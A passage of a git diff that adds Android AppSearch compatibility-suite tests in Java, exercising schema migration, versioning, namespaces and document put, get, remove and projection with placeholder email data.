+                                    .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                                    .build();
+                        } else {
+                            return new GenericDocument.Builder<>("namespace", "adult-uri", "Adult")
+                                    .setPropertyLong("Age", document.getPropertyLong("Age"))
+                                    .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                                    .build();
+                        }
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+                };
+
+        // create adult and child schema
+        AppSearchSchema adultSchema =
+                new AppSearchSchema.Builder("Adult")
+                        .addProperty(
+                                new AppSearchSchema.Int64PropertyConfig.Builder("Age")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .build())
+                        .build();
+        AppSearchSchema childSchema =
+                new AppSearchSchema.Builder("Child")
+                        .addProperty(
+                                new AppSearchSchema.Int64PropertyConfig.Builder("Age")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .build())
+                        .build();
+
+        // SetSchema with forceOverride=false and increase overall version
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(adultSchema, childSchema)
+                                        .setMigrator("Person", migrator)
+                                        .setForceOverride(false)
+                                        .setVersion(2) //  upgrade version
+                                        .build())
+                        .get();
+        assertThat(setSchemaResponse.getDeletedTypes()).containsExactly("Person");
+        assertThat(setSchemaResponse.getIncompatibleTypes()).isEmpty();
+        assertThat(setSchemaResponse.getMigratedTypes()).containsExactly("Person");
+
+        // Check successfully migrate the child doc
+        GenericDocument expectedInChild =
+                new GenericDocument.Builder<>("namespace", "child-uri", "Child")
+                        .setPropertyLong("Age", 6)
+                        .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                        .build();
+        assertThat(doGet(mDb, "namespace", "child-uri")).containsExactly(expectedInChild);
+
+        // Check successfully migrate the adult doc
+        GenericDocument expectedInAdult =
+                new GenericDocument.Builder<>("namespace", "adult-uri", "Adult")
+                        .setPropertyLong("Age", 36)
+                        .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                        .build();
+        assertThat(doGet(mDb, "namespace", "adult-uri")).containsExactly(expectedInAdult);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..dd445e0
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
@@ -0,0 +1,2916 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static android.app.appsearch.AppSearchResult.RESULT_INVALID_SCHEMA;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.doGet;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.retrieveAllSearchResults;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSchema.StringPropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByUriRequest;
+import android.app.appsearch.GetSchemaResponse;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.RemoveByUriRequest;
+import android.app.appsearch.ReportUsageRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.StorageInfo;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+
+public abstract class AppSearchSessionCtsTestBase {
+    private static final String DB_NAME_1 = "";
+    private static final String DB_NAME_2 = "testDb2";
+
+    private AppSearchSessionShim mDb1;
+    private AppSearchSessionShim mDb2;
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName, @NonNull ExecutorService executor);
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        mDb2 = createSearchSession(DB_NAME_2).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        cleanup();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    @Test
+    public void testSetSchema() throws Exception {
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+    }
+
+    @Test
+    public void testSetSchema_Failure() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        AppSearchSchema emailSchema1 =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE).build();
+
+        Throwable throwable =
+                expectThrows(
+                                ExecutionException.class,
+                                () ->
+                                        mDb1.setSchema(
+                                                        new SetSchemaRequest.Builder()
+                                                                .addSchemas(emailSchema1)
+                                                                .build())
+                                                .get())
+                        .getCause();
+        assertThat(throwable).isInstanceOf(AppSearchException.class);
+        AppSearchException exception = (AppSearchException) throwable;
+        assertThat(exception.getResultCode()).isEqualTo(RESULT_INVALID_SCHEMA);
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+        assertThat(exception).hasMessageThat().contains("Incompatible types: {builtin:Email}");
+
+        throwable =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+
+        assertThat(throwable).isInstanceOf(AppSearchException.class);
+        exception = (AppSearchException) throwable;
+        assertThat(exception.getResultCode()).isEqualTo(RESULT_INVALID_SCHEMA);
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+        assertThat(exception).hasMessageThat().contains("Deleted types: {builtin:Email}");
+    }
+
+    @Test
+    public void testSetSchema_updateVersion() throws Exception {
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(schema).setVersion(1).build())
+                .get();
+
+        Set<AppSearchSchema> actualSchemaTypes = mDb1.getSchema().get().getSchemas();
+        assertThat(actualSchemaTypes).containsExactly(schema);
+
+        // increase version number
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(schema).setVersion(2).build())
+                .get();
+
+        GetSchemaResponse getSchemaResponse = mDb1.getSchema().get();
+        assertThat(getSchemaResponse.getSchemas()).containsExactly(schema);
+        assertThat(getSchemaResponse.getVersion()).isEqualTo(2);
+    }
+
+    @Test
+    public void testSetSchema_checkVersion() throws Exception {
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        // set different version number to different database.
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(schema).setVersion(135).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(schema).setVersion(246).build())
+                .get();
+
+        // check the version has been set correctly.
+        GetSchemaResponse getSchemaResponse = mDb1.getSchema().get();
+        assertThat(getSchemaResponse.getSchemas()).containsExactly(schema);
+        assertThat(getSchemaResponse.getVersion()).isEqualTo(135);
+
+        getSchemaResponse = mDb2.getSchema().get();
+        assertThat(getSchemaResponse.getSchemas()).containsExactly(schema);
+        assertThat(getSchemaResponse.getVersion()).isEqualTo(246);
+    }
+
+    @Test
+    public void testGetNamespaces() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        assertThat(mDb1.getNamespaces().get()).isEmpty();
+
+        // Index a document
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(
+                                        new AppSearchEmail.Builder("namespace1", "uri1").build())
+                                .build()));
+        assertThat(mDb1.getNamespaces().get()).containsExactly("namespace1");
+
+        // Index additional data
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(
+                                        new AppSearchEmail.Builder("namespace2", "uri1").build(),
+                                        new AppSearchEmail.Builder("namespace2", "uri2").build(),
+                                        new AppSearchEmail.Builder("namespace3", "uri1").build())
+                                .build()));
+        assertThat(mDb1.getNamespaces().get())
+                .containsExactly("namespace1", "namespace2", "namespace3");
+
+        // Remove namespace2/uri2 -- namespace2 should still exist because of namespace2/uri1
+        checkIsBatchResultSuccess(
+                mDb1.remove(new RemoveByUriRequest.Builder("namespace2").addUris("uri2").build()));
+        assertThat(mDb1.getNamespaces().get())
+                .containsExactly("namespace1", "namespace2", "namespace3");
+
+        // Remove namespace2/uri1 -- namespace2 should now be gone
+        checkIsBatchResultSuccess(
+                mDb1.remove(new RemoveByUriRequest.Builder("namespace2").addUris("uri1").build()));
+        assertThat(mDb1.getNamespaces().get()).containsExactly("namespace1", "namespace3");
+
+        // Make sure the list of namespaces is preserved after restart
+        mDb1.close();
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        assertThat(mDb1.getNamespaces().get()).containsExactly("namespace1", "namespace3");
+    }
+
+    @Test
+    public void testGetNamespaces_dbIsolation() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        assertThat(mDb1.getNamespaces().get()).isEmpty();
+        assertThat(mDb2.getNamespaces().get()).isEmpty();
+
+        // Index documents
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(
+                                        new AppSearchEmail.Builder("namespace1_db1", "uri1")
+                                                .build())
+                                .build()));
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(
+                                        new AppSearchEmail.Builder("namespace2_db1", "uri1")
+                                                .build())
+                                .build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(
+                                        new AppSearchEmail.Builder("namespace_db2", "uri1").build())
+                                .build()));
+        assertThat(mDb1.getNamespaces().get()).containsExactly("namespace1_db1", "namespace2_db1");
+        assertThat(mDb2.getNamespaces().get()).containsExactly("namespace_db2");
+
+        // Make sure the list of namespaces is preserved after restart
+        mDb1.close();
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        assertThat(mDb1.getNamespaces().get()).containsExactly("namespace1_db1", "namespace2_db1");
+        assertThat(mDb2.getNamespaces().get()).containsExactly("namespace_db2");
+    }
+
+    @Test
+    public void testGetSchema_emptyDB() throws Exception {
+        GetSchemaResponse getSchemaResponse = mDb1.getSchema().get();
+        assertThat(getSchemaResponse.getVersion()).isEqualTo(0);
+    }
+
+    @Test
+    public void testPutDocuments() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb1.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(email)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+    }
+
+    @Test
+    public void testUpdateSchema() throws Exception {
+        // Schema registration
+        AppSearchSchema oldEmailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema newEmailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema giftSchema =
+                new AppSearchSchema.Builder("Gift")
+                        .addProperty(
+                                new AppSearchSchema.Int64PropertyConfig.Builder("price")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(oldEmailSchema).build()).get();
+
+        // Try to index a gift. This should fail as it's not in the schema.
+        GenericDocument gift =
+                new GenericDocument.Builder<>("namespace", "gift1", "Gift")
+                        .setPropertyLong("price", 5)
+                        .build();
+        AppSearchBatchResult<String, Void> result =
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(gift).build()).get();
+        assertThat(result.isSuccess()).isFalse();
+        assertThat(result.getFailures().get("gift1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Update the schema to include the gift and update email with a new field
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(newEmailSchema, giftSchema)
+                                .build())
+                .get();
+
+        // Try to index the document again, which should now work
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(gift).build()));
+
+        // Indexing an email with a body should also work
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "email1")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+    }
+
+    @Test
+    public void testRemoveSchema() throws Exception {
+        // Schema registration
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+
+        // Index an email and check it present.
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "email1")
+                        .setSubject("testPut example")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+        List<GenericDocument> outDocuments = doGet(mDb1, "namespace", "email1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email);
+
+        // Try to remove the email schema. This should fail as it's an incompatible change.
+        Throwable failResult1 =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+        assertThat(failResult1).isInstanceOf(AppSearchException.class);
+        assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+        assertThat(failResult1).hasMessageThat().contains("Deleted types: {builtin:Email}");
+
+        // Try to remove the email schema again, which should now work as we set forceOverride to
+        // be true.
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+        // Make sure the indexed email is gone.
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("email1").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("email1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Try to index an email again. This should fail as the schema has been removed.
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "email2")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchBatchResult<String, Void> failResult2 =
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build())
+                        .get();
+        assertThat(failResult2.isSuccess()).isFalse();
+        assertThat(failResult2.getFailures().get("email2").getErrorMessage())
+                .isEqualTo(
+                        "Schema type config 'com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email' not found");
+    }
+
+    @Test
+    public void testRemoveSchema_twoDatabases() throws Exception {
+        // Schema registration in mDb1 and mDb2
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+
+        // Index an email and check it present in database1.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "email1")
+                        .setSubject("testPut example")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        List<GenericDocument> outDocuments = doGet(mDb1, "namespace", "email1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email1);
+
+        // Index an email and check it present in database2.
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "email2")
+                        .setSubject("testPut example")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+        outDocuments = doGet(mDb2, "namespace", "email2");
+        assertThat(outDocuments).hasSize(1);
+        outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email2);
+
+        // Try to remove the email schema in database1. This should fail as it's an incompatible
+        // change.
+        Throwable failResult1 =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+        assertThat(failResult1).isInstanceOf(AppSearchException.class);
+        assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+        assertThat(failResult1).hasMessageThat().contains("Deleted types: {builtin:Email}");
+
+        // Try to remove the email schema again, which should now work as we set forceOverride to
+        // be true.
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+        // Make sure the indexed email is gone in database 1.
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("email1").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("email1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Try to index an email again. This should fail as the schema has been removed.
+        AppSearchEmail email3 =
+                new AppSearchEmail.Builder("namespace", "email3")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchBatchResult<String, Void> failResult2 =
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email3).build())
+                        .get();
+        assertThat(failResult2.isSuccess()).isFalse();
+        assertThat(failResult2.getFailures().get("email3").getErrorMessage())
+                .isEqualTo(
+                        "Schema type config 'com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email' not found");
+
+        // Make sure email in database 2 still present.
+        outDocuments = doGet(mDb2, "namespace", "email2");
+        assertThat(outDocuments).hasSize(1);
+        outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email2);
+
+        // Make sure email could still be indexed in database 2.
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+    }
+
+    @Test
+    public void testGetDocuments() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Get the document
+        List<GenericDocument> outDocuments = doGet(mDb1, "namespace", "uri1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(inEmail);
+
+        // Can't get the document in the other instance.
+        AppSearchBatchResult<String, GenericDocument> failResult =
+                mDb2.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(failResult.isSuccess()).isFalse();
+        assertThat(failResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testGetDocuments_projection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(
+                                AppSearchEmail.SCHEMA_TYPE, ImmutableList.of("subject", "to"))
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_projectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_projectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
